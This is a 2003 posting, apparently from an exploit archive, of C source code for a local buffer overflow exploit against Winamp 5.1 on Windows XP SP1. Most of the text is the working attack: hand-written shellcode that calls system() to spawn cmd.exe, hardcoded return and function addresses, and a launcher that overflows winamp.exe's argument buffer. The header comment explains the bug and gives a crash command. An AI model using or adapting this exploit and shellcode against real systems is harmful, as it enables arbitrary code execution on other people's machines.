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winamp-exploit.c

winamp-exploit.c
Posted Dec 31, 2003
Authored by rosiello, Johnny Mast | Site rosiello.org

Local buffer overflow exploit for Winamp version 5.1.

tags | exploit, overflow, local
SHA-256 | f182b48d2c437582583fc964c2c81d32cd54caef71e771fcff223fcbabf8a6c4

winamp-exploit.c

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/* 
* Copyright © Rosiello Security
*
* http://www.rosiello.org
*
*
* Winamp_5-1_ex.c (Windows XP Pro + sp1)
* ____ _ _ _ _ _ _ _
* | _ \ ___ ___(_) ___| | | ___ __ _| |_ _| || |_/ |
* | |_) / _ \/ __| |/ _ \ | |/ _ \ / _` | __| |_ .. _| |
* | _ < (_) \__ \ | __/ | | (_) | | (_| | |_ |_ _| |
* |_| \_\___/|___/_|\___|_|_|\___/ \__,_|\__| |_||_| |_|
*
*
* ---[ @Wizard@ local Winamp V5.1 exploiter ]---
*
*
* In December of this year (2003) a good friend of mine "b0f" reported this bug in an advisory
* at www.b0f.net
*
* (BUG:)
*
* There is a simple Buffer overflow in argument handeling routine for Winamp version 5.1.
*
*
*
* just type:
*
*
* C:\\Progra~1\\Winamp\\winamp.exe AAAAAAAAA....[517 chars]...AAAAAAAAAAAA
* winamp.exe will crash
*
*
* This bug was never exploited so that was my quest.
*
* The shellcode requires
*
* system (msvcrt.dll)
*
* AUTHOR : Johnny Mast
* CONTACT: rave@rosiello.org
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <windows.h>
#include <winbase.h>
#define SYS_ADR "\x44\x80\xbf\x77"
#define EIP "\x80\xd4\x12\x00\x00"

char shellcode[]=
"\x90\x90\x90"
"\x90\x90\x90"
"\x90\x90\x90"
"\x90\x90\x90"

"\x8b\xec" // mov ebp,esp
"\x55" // push ebp
"\x68\x65\x78\x65\x20" // push "exe "
"\x68\x63\x6d\x64\x2e" // push "cmd."
"\x8d\x45\xf4" // lea eax,[ebp-0xC]
"\x50" // push eax
"\xb8" SYS_ADR // mov eax,77BF8044h
"\xff\xD0"; // call eax


int main(void)
{
FILE *fd ;
char buffer[1024] ;
char whoops[1024 *2]="C:\\Progra~1\\Winamp\\winamp.exe ";
int i ;

memset( buffer,0x00,1024 ) ;
memset( buffer,0x41,260 ) ;

strcat( buffer,EIP ) ;

execlp(whoops,whoops,buffer,shellcode,NULL);
}
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